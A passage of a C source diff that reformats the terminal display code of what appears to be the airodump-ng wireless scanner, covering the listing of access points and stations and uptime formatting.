 }
 
-char * getBatteryString(void)
+static char * getBatteryString(void)
 {
-    int batt_time;
-    char * ret;
-    char * batt_string;
+	int batt_time;
+	char * ret;
+	char * batt_string;
 
-    batt_time = getBatteryState();
+	batt_time = getBatteryState();
 
-    if ( batt_time <= 60 ) {
-        ret = (char *) calloc(1,2);
-        ret[0] = ']';
-        return ret;
-    }
+	if (batt_time <= 60)
+	{
+		ret = (char *) calloc(1, 2);
+		ret[0] = ']';
+		return ret;
+	}
 
-    batt_string = getStringTimeFromSec( (double) batt_time );
+	batt_string = getStringTimeFromSec((double) batt_time);
 
-    ret = (char *) calloc( 1, 256 );
+	ret = (char *) calloc(1, 256);
 
-    snprintf( ret, 256, "][ BAT: %s ]", batt_string );
+	snprintf(ret, 256, "][ BAT: %s ]", batt_string);
 
-    free( batt_string);
+	free(batt_string);
 
-    return ret;
+	return ret;
 }
 
-int get_ap_list_count() {
-    time_t tt;
-    struct tm *lt;
-    struct AP_info *ap_cur;
+static int get_ap_list_count(void)
+{
+	time_t tt;
+	struct tm * lt;
+	struct AP_info * ap_cur;
 
-    int num_ap;
+	int num_ap;
 
-    tt = time( NULL );
-    lt = localtime( &tt );
+	tt = time(NULL);
+	lt = localtime(&tt);
 
-    ap_cur = G.ap_end;
+	ap_cur = G.ap_end;
 
-    num_ap = 0;
+	num_ap = 0;
 
-    while( ap_cur != NULL )
-    {
-        /* skip APs with only one packet, or those older than 2 min.
-         * always skip if bssid == broadcast */
+	while (ap_cur != NULL)
+	{
+		/* skip APs with only one packet, or those older than 2 min.
+		 * always skip if bssid == broadcast */
 
-        if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ||
-            memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+		if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
+			|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-        if(is_filtered_essid(ap_cur->essid))
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-	num_ap++;
-	ap_cur = ap_cur->prev;
-    }
+		num_ap++;
+		ap_cur = ap_cur->prev;
+	}
 
-    return num_ap;
+	return num_ap;
 }
 
-int get_sta_list_count() {
-    time_t tt;
-    struct tm *lt;
-    struct AP_info *ap_cur;
-    struct ST_info *st_cur;
+static int get_sta_list_count(void)
+{
+	time_t tt;
+	struct tm * lt;
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
 
-    int num_sta;
+	int num_sta;
 
-    tt = time( NULL );
-    lt = localtime( &tt );
+	tt = time(NULL);
+	lt = localtime(&tt);
 
-    ap_cur = G.ap_end;
+	ap_cur = G.ap_end;
 
-    num_sta = 0;
+	num_sta = 0;
 
-    while( ap_cur != NULL )
-    {
-        if( ap_cur->nb_pkt < 2 ||
-            time( NULL ) - ap_cur->tlast > G.berlin )
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+	while (ap_cur != NULL)
+	{
+		if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin)
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-        if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+		if (ap_cur->security != 0 && G.f_encrypt != 0
+			&& ((ap_cur->security & G.f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-        // Don't filter unassociated clients by ESSID
-        if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid))
-        {
-            ap_cur = ap_cur->prev;
-            continue;
-        }
+		// Don't filter unassociated clients by ESSID
+		if (memcmp(ap_cur->bssid, BROADCAST, 6)
+			&& is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->prev;
+			continue;
+		}
 
-        st_cur = G.st_end;
+		st_cur = G.st_end;
 
-        while( st_cur != NULL )
-        {
-            if( st_cur->base != ap_cur ||
-                time( NULL ) - st_cur->tlast > G.berlin )
-            {
-                st_cur = st_cur->prev;
-                continue;
-            }
+		while (st_cur != NULL)
+		{
+			if (st_cur->base != ap_cur || time(NULL) - st_cur->tlast > G.berlin)
+			{
+				st_cur = st_cur->prev;
+				continue;
+			}
 
-            if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client )
-            {
-                st_cur = st_cur->prev;
-                continue;
-            }
+			if (!memcmp(ap_cur->bssid, BROADCAST, 6) && G.asso_client)
+			{
+				st_cur = st_cur->prev;
+				continue;
+			}
 
-	    num_sta++;
+			num_sta++;
 
-            st_cur = st_cur->prev;
-        }
+			st_cur = st_cur->prev;
+		}
 
-        ap_cur = ap_cur->prev;
-    }
-    return num_sta;
+		ap_cur = ap_cur->prev;
+	}
+	return num_sta;
 }
 
-#define TSTP_SEC 1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */
+#define TSTP_SEC                                                               \
+	1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */
 #define TSTP_MIN (TSTP_SEC * 60ULL)
 #define TSTP_HOUR (TSTP_MIN * 60ULL)
 #define TSTP_DAY (TSTP_HOUR * 24ULL)
 
-static char *parse_timestamp(unsigned long long timestamp) {
-	static char s[15];
+static char * parse_timestamp(unsigned long long timestamp)
+{
+#define TSTP_LEN 15
+	static char s[TSTP_LEN];
 	unsigned long long rem;
-	unsigned int days, hours, mins, secs;
+	unsigned char days, hours, mins, secs;
+
+	// Initialize array
+	memset(s, 0, TSTP_LEN);
 
+	// Calculate days, hours, mins and secs
 	days = timestamp / TSTP_DAY;
 	rem = timestamp % TSTP_DAY;
-	hours = rem / TSTP_HOUR;
+	hours = (unsigned char) (rem / TSTP_HOUR);
 	rem %= TSTP_HOUR;
-	mins = rem / TSTP_MIN;
+	mins = (unsigned char) (rem / TSTP_MIN);
 	rem %= TSTP_MIN;
-	secs = rem / TSTP_SEC;
+	secs = (unsigned char) (rem / TSTP_SEC);
 
-	snprintf(s, 14, "%3dd %02d:%02d:%02d", days, hours, mins, secs);
+	snprintf(s, TSTP_LEN, "%3ud %02u:%02u:%02u", days, hours, mins, secs);
+#undef TSTP_LEN
 
 	return s;
 }
 
-void dump_print( int ws_row, int ws_col, int if_num )
+static void dump_print(int ws_row, int ws_col, int if_num)
 {
-    time_t tt;
-    struct tm *lt;
-    int nlines, i, n, len;
-    char strbuf[512];
-    char buffer[512];
-    char ssid_list[512];
-    struct AP_info *ap_cur;
-    struct ST_info *st_cur;
-    struct NA_info *na_cur;
-    int columns_ap = 83;
-    int columns_sta = 74;
-    int columns_na = 68;
-
-    int num_ap;
-    int num_sta;
-
-    if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode
-    if(G.show_uptime) columns_ap += 15; //show uptime needs more space
-
-    nlines = 2;
-
-    if( nlines >= ws_row )
-        return;
-
-    if(G.do_sort_always) {
-	pthread_mutex_lock( &(G.mx_sort) );
-	    dump_sort();
-	pthread_mutex_unlock( &(G.mx_sort) );
-    }
-
-    tt = time( NULL );
-    lt = localtime( &tt );
-
-    if(G.is_berlin)
-    {
-        G.maxaps = 0;
-        G.numaps = 0;
-        ap_cur = G.ap_end;
-
-        while( ap_cur != NULL )
-        {
-            G.maxaps++;
-            if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ||
-                memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-            {
-                ap_cur = ap_cur->prev;
-                continue;
-            }
-            G.numaps++;
-            ap_cur = ap_cur->prev;
-        }
-
-        if(G.numaps > G.maxnumaps)
-            G.maxnumaps = G.numaps;
-
-//        G.maxaps--;
-    }
-
-    /*
-     *  display the channel, battery, position (if we are connected to GPSd)
-     *  and current time
-     */
-
-    memset( strbuf, '\0', sizeof(strbuf) );
-    strbuf[ws_col - 1] = '\0';
-    fprintf( stderr, "%s\n", strbuf );
-
-    if(G.freqoption)
-    {
-        snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]);
-        for(i=1; i<if_num; i++)
-        {
-            memset( buffer, '\0', sizeof(buffer) );
-            snprintf(buffer, sizeof(buffer) , ",%4d", G.frequency[i]);
-            strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
-        }
-    }
-    else
-    {
-        snprintf(strbuf, sizeof(strbuf)-1, " CH %2d", G.channel[0]);
-        for(i=1; i<if_num; i++)
-        {
-            memset( buffer, '\0', sizeof(buffer) );
-            snprintf(buffer, sizeof(buffer) , ",%2d", G.channel[i]);
-            strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) -1);
-        }
-    }
-    memset( buffer, '\0', sizeof(buffer) );
-
-    if (G.gps_loc[0]) {
-        snprintf( buffer, sizeof( buffer ) - 1,
-              " %s[ GPS %8.3f %8.3f %8.3f %6.2f "
-              "][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt,
-              G.gps_loc[0], G.gps_loc[1], G.gps_loc[2], G.gps_loc[3],
-              G.elapsed_time , 1900 + lt->tm_year,
-              1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min );
-    }
-    else
-    {
-        snprintf( buffer, sizeof( buffer ) - 1,
-              " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
-              G.batt, G.elapsed_time, 1900 + lt->tm_year,
-              1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min );
-    }
-
-    strncat(strbuf, buffer, (512-strlen(strbuf)));
-    memset( buffer, '\0', 512 );
-
-    if(G.is_berlin)
-    {
-        snprintf( buffer, sizeof( buffer ) - 1,
-              " ][%3d/%3d/%4d ",
-              G.numaps, G.maxnumaps, G.maxaps);
-    }
-
-    strncat(strbuf, buffer, (512-strlen(strbuf)));
-    memset( buffer, '\0', 512 );
-
-    if(strlen(G.message) > 0)
-    {
-        strncat(strbuf, G.message, (512-strlen(strbuf)));
-    }
-
-    //add traling spaces to overwrite previous messages
-    strncat(strbuf, "                                        ", (512-strlen(strbuf)));
-
-    strbuf[ws_col - 1] = '\0';
-    fprintf( stderr, "%s\n", strbuf );
-
-    /* print some informations about each detected AP */
-
-    nlines += 3;
-
-    if( nlines >= ws_row )
-        return;
-
-    memset( strbuf, ' ', ws_col - 1 );
-    strbuf[ws_col - 1] = '\0';
-    fprintf( stderr, "%s\n", strbuf );
-
-    if(G.show_ap) {
-
-    strbuf[0] = 0;
-    strcat(strbuf, " BSSID              PWR ");
-
-    if(G.singlechan)
-    	strcat(strbuf, "RXQ ");
-
-    strcat(strbuf, " Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ");
-
-    if (G.show_uptime)
-    	strcat(strbuf, "       UPTIME  ");
-
-    if (G.show_wps)
-    {
-        strcat(strbuf, "WPS   ");
-        if ( ws_col > (columns_ap - 4) )
-        {
-            memset(strbuf+columns_ap, 32, G.maxsize_wps_seen - 6 );
-            snprintf(strbuf+columns_ap+G.maxsize_wps_seen-6, 9,"%s","   ESSID");
-            if ( G.show_manufacturer  )
-            {
-                memset(strbuf+columns_ap+G.maxsize_wps_seen+2, 32, G.maxsize_essid_seen-5 );
-                snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s","  MANUFACTURER");
-            }
-        }
-    }
-    else
-    {
-    strcat(strbuf, "ESSID");
-
-	if ( G.show_manufacturer && ( ws_col > (columns_ap - 4) ) ) {
-		// write spaces (32).
-		memset(strbuf+columns_ap, 32, G.maxsize_essid_seen - 5 ); // 5 is the len of "ESSID"
-		snprintf(strbuf+columns_ap+G.maxsize_essid_seen-5, 15,"%s","  MANUFACTURER");
+	time_t tt;
+	struct tm * lt;
+	int nlines, i, n;
+	char strbuf[512];
+	char buffer[512];
+	char ssid_list[512];
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	struct NA_info * na_cur;
+	int columns_ap = 83;
+	int columns_sta = 74;
+	int columns_na = 68;
+	ssize_t len;
+
+	int num_ap;
+	int num_sta;
+
+	if (!G.singlechan) columns_ap -= 4; // no RXQ in scan mode
+	if (G.show_uptime) columns_ap += 15; // show uptime needs more space
+
+	nlines = 2;
+
+	if (nlines >= ws_row) return;
+
+	if (G.do_sort_always)
+	{
+		pthread_mutex_lock(&(G.mx_sort));
+		dump_sort();
+		pthread_mutex_unlock(&(G.mx_sort));
 	}
-    }
-	strbuf[ws_col - 1] = '\0';
-	fprintf( stderr, "%s\n", strbuf );
 
-	memset( strbuf, ' ', ws_col - 1 );
-	strbuf[ws_col - 1] = '\0';
-	fprintf( stderr, "%s\n", strbuf );
+	tt = time(NULL);
+	lt = localtime(&tt);
 
-	ap_cur = G.ap_end;
+	if (G.is_berlin)
+	{
+		G.maxaps = 0;
+		G.numaps = 0;
+		ap_cur = G.ap_end;
+
+		while (ap_cur != NULL)
+		{
+			G.maxaps++;
+			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
+				|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
+			G.numaps++;
+			ap_cur = ap_cur->prev;
+		}
+
+		if (G.numaps > G.maxnumaps) G.maxnumaps = G.numaps;
+
+		//        G.maxaps--;
+	}
+
+	/*
+	 *  display the channel, battery, position (if we are connected to GPSd)
+	 *  and current time
+	 */
 
-	if(G.selection_ap) {
-	    num_ap = get_ap_list_count();
-	    if(G.selected_ap > num_ap)
-		G.selected_ap = num_ap;
+	memset(strbuf, '\0', sizeof(strbuf));
+	strbuf[ws_col - 1] = '\0';
+	fprintf(stderr, "%s\n", strbuf);
+
+	if (G.freqoption)
+	{
+		snprintf(strbuf, sizeof(strbuf) - 1, " Freq %4d", G.frequency[0]);
+		for (i = 1; i < if_num; i++)
+		{
+			memset(buffer, '\0', sizeof(buffer));
+			snprintf(buffer, sizeof(buffer), ",%4d", G.frequency[i]);
+			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+		}
+	}
+	else
+	{
+		snprintf(strbuf, sizeof(strbuf) - 1, " CH %2d", G.channel[0]);
+		for (i = 1; i < if_num; i++)
+		{
+			memset(buffer, '\0', sizeof(buffer));
+			snprintf(buffer, sizeof(buffer), ",%2d", G.channel[i]);
+			strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1);
+		}
 	}
+	memset(buffer, '\0', sizeof(buffer));
 
-	if(G.selection_sta) {
-	    num_sta = get_sta_list_count();
-	    if(G.selected_sta > num_sta)
-		G.selected_sta = num_sta;
+	if (G.gps_loc[0])
+	{
+		snprintf(buffer,
+				 sizeof(buffer) - 1,
+				 " %s[ GPS %8.3f %8.3f %8.3f %6.2f "
+				 "][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
+				 G.batt,
+				 G.gps_loc[0],
+				 G.gps_loc[1],
+				 G.gps_loc[2],
+				 G.gps_loc[3],
+				 G.elapsed_time,
+				 1900 + lt->tm_year,
+				 1 + lt->tm_mon,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min);
+	}
+	else
+	{
+		snprintf(buffer,
+				 sizeof(buffer) - 1,
+				 " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ",
+				 G.batt,
+				 G.elapsed_time,
+				 1900 + lt->tm_year,
+				 1 + lt->tm_mon,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min);
 	}
 
-	num_ap = 0;
+	strncat(strbuf, buffer, (512 - strlen(strbuf)));
+	memset(buffer, '\0', 512);
 
-	if(G.selection_ap) {
-	    G.start_print_ap = G.selected_ap - ((ws_row-1) - nlines) + 1;
-	    if(G.start_print_ap < 1)
-		G.start_print_ap = 1;
-    //	printf("%i\n", G.start_print_ap);
+	if (G.is_berlin)
+	{
+		snprintf(buffer,
+				 sizeof(buffer) - 1,
+				 " ][%3d/%3d/%4d ",
+				 G.numaps,
+				 G.maxnumaps,
+				 G.maxaps);
 	}
 
+	strncat(strbuf, buffer, (512 - strlen(strbuf)));
+	memset(buffer, '\0', 512);
 
-	while( ap_cur != NULL )
+	if (strlen(G.message) > 0)
 	{
-	    /* skip APs with only one packet, or those older than 2 min.
-	    * always skip if bssid == broadcast */
+		strncat(strbuf, G.message, (512 - strlen(strbuf)));
+	}
 
-	    if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ||
-		memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 )
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+	// add traling spaces to overwrite previous messages
+	strncat(strbuf,
+			"                                        ",
+			(512 - strlen(strbuf)));
 
-	    if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0))
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+	strbuf[ws_col - 1] = '\0';
+	fprintf(stderr, "%s\n", strbuf);
 
-	    if(is_filtered_essid(ap_cur->essid))
-	    {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+	/* print some information about each detected AP */
 
-	    num_ap++;
+	nlines += 3;
 
-	    if(num_ap < G.start_print_ap) {
-		ap_cur = ap_cur->prev;
-		continue;
-	    }
+	if (nlines >= ws_row) return;
 
-	    nlines++;
+	memset(strbuf, ' ', ws_col - 1);
+	strbuf[ws_col - 1] = '\0';
+	fprintf(stderr, "%s\n", strbuf);
 
-	    if( nlines > (ws_row-1) )
-		return;
+	if (G.show_ap)
+	{
 
-	    memset(strbuf, '\0', sizeof(strbuf));
+		strbuf[0] = 0;
+		strcat(strbuf, " BSSID              PWR ");
+
+		if (G.singlechan) strcat(strbuf, "RXQ ");
+
+		strcat(strbuf, " Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ");
+
+		if (G.show_uptime) strcat(strbuf, "       UPTIME  ");
 
-	    snprintf( strbuf, sizeof(strbuf), " %02X:%02X:%02X:%02X:%02X:%02X",
-		    ap_cur->bssid[0], ap_cur->bssid[1],
-		    ap_cur->bssid[2], ap_cur->bssid[3],
-		    ap_cur->bssid[4], ap_cur->bssid[5] );
-
-	    len = strlen(strbuf);
-
-	    if(G.singlechan)
-	    {
-		snprintf( strbuf+len, sizeof(strbuf)-len, "  %3d %3d %8ld %8ld %4d",
-			ap_cur->avg_power,
-			ap_cur->rx_quality,
-			ap_cur->nb_bcn,
-			ap_cur->nb_data,
-			ap_cur->nb_dataps );
-	    }
-	    else
-	    {
-		snprintf( strbuf+len, sizeof(strbuf)-len, "  %3d %8ld %8ld %4d",
-			ap_cur->avg_power,
-			ap_cur->nb_bcn,
-			ap_cur->nb_data,
-			ap_cur->nb_dataps );
-	    }
-
-	    len = strlen(strbuf);
-
-	    snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ",
-		    ap_cur->channel, ap_cur->max_speed,
-		    ( ap_cur->security & STD_QOS ) ? 'e' : ' ',
-		    ( ap_cur->preamble ) ? '.' : ' ');
-
-	    len = strlen(strbuf);
-
-	    if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, "    " );
-	    else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" );
-	    else if( ap_cur->security & STD_WPA  ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " );
-	    else if( ap_cur->security & STD_WEP  ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " );
-	    else if( ap_cur->security & STD_OPN  ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " );
-
-	    strncat( strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1);
-
-	    len = strlen(strbuf);
-
-	    if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, "       ");
-	    else if( ap_cur->security & ENC_CCMP   ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP   ");
-	    else if( ap_cur->security & ENC_WRAP   ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP   ");
-	    else if( ap_cur->security & ENC_TKIP   ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP   ");
-	    else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 ");
-	    else if( ap_cur->security & ENC_WEP40  ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40  ");
-	    else if( ap_cur->security & ENC_WEP    ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP    ");
-
-	    len = strlen(strbuf);
-
-	    if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, "   ");
-	    else if( ap_cur->security & AUTH_MGT   ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT");
-	    else if( ap_cur->security & AUTH_PSK   )
-	    {
-		if( ap_cur->security & STD_WEP )
-		    snprintf( strbuf+len, sizeof(strbuf)-len, "SKA");
-		else
-		    snprintf( strbuf+len, sizeof(strbuf)-len, "PSK");
-	    }
-	    else if( ap_cur->security & AUTH_OPN   ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN");
-
-	    len = strlen(strbuf);
-
-	    if (G.show_uptime) {
-	    	snprintf(strbuf+len, sizeof(strbuf)-len, " %14s", parse_timestamp(ap_cur->timestamp));
-	    	len = strlen(strbuf);
-	    }
-
-	    strbuf[ws_col-1] = '\0';
-
-	    if(G.selection_ap && ((num_ap) == G.selected_ap)) {
-		if(G.mark_cur_ap) {
-		    if(ap_cur->marked == 0) {
-			ap_cur->marked = 1;
-		    }
-		    else {
-			ap_cur->marked_color++;
-			if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) {
-			    ap_cur->marked_color = 1;
-			    ap_cur->marked = 0;
-			}
-		    }
-		    G.mark_cur_ap = 0;
-		}
-		textstyle(TEXT_REVERSE);
-		memcpy(G.selected_bssid, ap_cur->bssid, 6);
-	    }
-
-	    if(ap_cur->marked) {
-		textcolor_fg(ap_cur->marked_color);
-	    }
-
-	    fprintf(stderr, "%s", strbuf);
-
-	    if( ws_col > (columns_ap - 4) )
-	    {
-		memset( strbuf, 0, sizeof( strbuf ) );
 		if (G.show_wps)
 		{
-		    if (ap_cur->wps.state != 0xFF)
-		    {
-		        if (ap_cur->wps.ap_setup_locked) // AP setup locked
-		            snprintf(strbuf, sizeof(strbuf)-1, "Locked");
-		        else
-		        {
-		            snprintf(strbuf, sizeof(strbuf)-1, "%d.%d", ap_cur->wps.version >> 4, ap_cur->wps.version & 0xF); // Version
-		            if (ap_cur->wps.meth) // WPS Config Methods
-		            {
-		                char tbuf[64];
-		                memset( tbuf, '\0', sizeof(tbuf) );
-		                int sep = 0;
-#define T(bit, name) do {                       \
-    if (ap_cur->wps.meth & (1<<bit)) {          \
-        if (sep)                                \
-            strcat(tbuf, ",");                  \
-        sep = 1;                                \
-        strncat(tbuf, name, (64-strlen(tbuf))); \
-    } } while (0)
-		                T(0, "USB");     // USB method
-		                T(1, "ETHER");   // Ethernet
-		                T(2, "LAB");     // Label
-		                T(3, "DISP");    // Display
-		                T(4, "EXTNFC");  // Ext. NFC Token
-		                T(5, "INTNFC");  // Int. NFC Token
-		                T(6, "NFCINTF"); // NFC Interface
-		                T(7, "PBC");     // Push Button
-		                T(8, "KPAD");    // Keypad
-		                snprintf(strbuf+strlen(strbuf), sizeof(strbuf)-strlen(strbuf), " %s", tbuf);
-#undef T
-		            }
-		        }
-		    }
-		    else
-		        snprintf(strbuf, sizeof(strbuf)-1, " ");
-
-			if (G.maxsize_wps_seen <= strlen(strbuf))
-				G.maxsize_wps_seen = strlen(strbuf);
-			else // write spaces (32)
-				memset( strbuf+strlen(strbuf), 32,  (G.maxsize_wps_seen - strlen(strbuf))  );
-		}
-		if(ap_cur->essid[0] != 0x00)
-		{
-		    if (G.show_wps)
-		    snprintf( strbuf + G.maxsize_wps_seen, sizeof(strbuf)-G.maxsize_wps_seen,
-			    "  %s", ap_cur->essid );
-		    else
-		    snprintf( strbuf,  sizeof( strbuf ) - 1,
-			    "%s", ap_cur->essid );
+			strcat(strbuf, "WPS   ");
+			if (ws_col > (columns_ap - 4))
+			{
+				memset(strbuf + columns_ap, 32, G.maxsize_wps_seen - 6);
+				snprintf(strbuf + columns_ap + G.maxsize_wps_seen - 6,
+						 9,
+						 "%s",
+						 "   ESSID");
+				if (G.show_manufacturer)
+				{
+					memset(strbuf + columns_ap + G.maxsize_wps_seen + 2,
+						   32,
+						   G.maxsize_essid_seen - 5);
+					snprintf(strbuf + columns_ap + G.maxsize_essid_seen - 5,
+							 15,
+							 "%s",
+							 "  MANUFACTURER");
+				}
+			}
 		}
 		else
 		{
-		    if (G.show_wps)
-		    snprintf( strbuf + G.maxsize_wps_seen, sizeof(strbuf)-G.maxsize_wps_seen,
-			    "  <length:%3d>%s", ap_cur->ssid_length, "\x00" );
-		    else
-		    snprintf( strbuf,  sizeof( strbuf ) - 1,
-			    "<length:%3d>%s", ap_cur->ssid_length, "\x00" );
+			strcat(strbuf, "ESSID");
+
+			if (G.show_manufacturer && (ws_col > (columns_ap - 4)))
+			{
+				// write spaces (32).
+				memset(strbuf + columns_ap,
+					   32,
+					   G.maxsize_essid_seen - 5); // 5 is the len of "ESSID"
+				snprintf(strbuf + columns_ap + G.maxsize_essid_seen - 5,
+						 15,
+						 "%s",
+						 "  MANUFACTURER");
+			}
 		}
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-		if (G.show_manufacturer) {
+		memset(strbuf, ' ', ws_col - 1);
+		strbuf[ws_col - 1] = '\0';
+		fprintf(stderr, "%s\n", strbuf);
 
-			if (G.maxsize_essid_seen <= strlen(strbuf))
-				G.maxsize_essid_seen = strlen(strbuf);
-			else // write spaces (32)
-				memset( strbuf+strlen(strbuf), 32,  (G.maxsize_essid_seen - strlen(strbuf))  );
+		ap_cur = G.ap_end;
 
-			if (ap_cur->manuf == NULL)
-				ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]);
+		if (G.selection_ap)
+		{
+			num_ap = get_ap_list_count();
+			if (G.selected_ap > num_ap) G.selected_ap = num_ap;
+		}
 
-			snprintf( strbuf + G.maxsize_essid_seen , sizeof(strbuf)-G.maxsize_essid_seen, "  %s", ap_cur->manuf );
+		if (G.selection_sta)
+		{
+			num_sta = get_sta_list_count();
+			if (G.selected_sta > num_sta) G.selected_sta = num_sta;
 		}
 
-		// write spaces (32) until the end of column
-		memset( strbuf+strlen(strbuf), 32, ws_col - (columns_ap - 4 ) );
+		num_ap = 0;
 
-		// end the string at the end of the column
-		strbuf[ws_col - (columns_ap - 4)] = '\0';
+		if (G.selection_ap)
+		{
+			G.start_print_ap = G.selected_ap - ((ws_row - 1) - nlines) + 1;
+			if (G.start_print_ap < 1) G.start_print_ap = 1;
+			//	printf("%i\n", G.start_print_ap);
+		}
 
-		fprintf( stderr, "  %s", strbuf );
-	    }
+		while (ap_cur != NULL)
+		{
+			/* skip APs with only one packet, or those older than 2 min.
+		* always skip if bssid == broadcast */
 
-	    fprintf( stderr, "\n" );
+			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin
+				|| memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-	    if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) {
-		textstyle(TEXT_RESET);
-	    }
+			if (ap_cur->security != 0 && G.f_encrypt != 0
+				&& ((ap_cur->security & G.f_encrypt) == 0))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-	    ap_cur = ap_cur->prev;
-	}
+			if (is_filtered_essid(ap_cur->essid))
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-	/* print some informations about each detected station */
+			num_ap++;
 
-	nlines += 3;
+			if (num_ap < G.start_print_ap)
+			{
+				ap_cur = ap_cur->prev;
+				continue;
+			}
 
-	if( nlines >= (ws_row-1) )
-	    return;
+			nlines++;
 
-	memset( strbuf, ' ', ws_col - 1 );
-	strbuf[ws_col - 1] = '\0';
-	fprintf( stderr, "%s\n", strbuf );
-    }
+			if (nlines > (ws_row - 1)) return;
 
-    if(G.show_sta) {
-	memcpy( strbuf, " BSSID              STATION "
-		"           PWR   Rate    Lost    Frames  Probes", columns_sta );
-	strbuf[ws_col - 1] = '\0';
-	fprintf( stderr, "%s\n", strbuf );
+			memset(strbuf, '\0', sizeof(strbuf));
 
-	memset( strbuf, ' ', ws_col - 1 );
-	strbuf[ws_col - 1] = '\0';
-	fprintf( stderr, "%s\n", strbuf );
+			snprintf(strbuf,
+					 sizeof(strbuf),
+					 " %02X:%02X:%02X:%02X:%02X:%02X",
+					 ap_cur->bssid[0],
+					 ap_cur->bssid[1],
+					 ap_cur->bssid[2],
+					 ap_cur->bssid[3],
+					 ap_cur->bssid[4],
+					 ap_cur->bssid[5]);
 
-	ap_cur = G.ap_end;
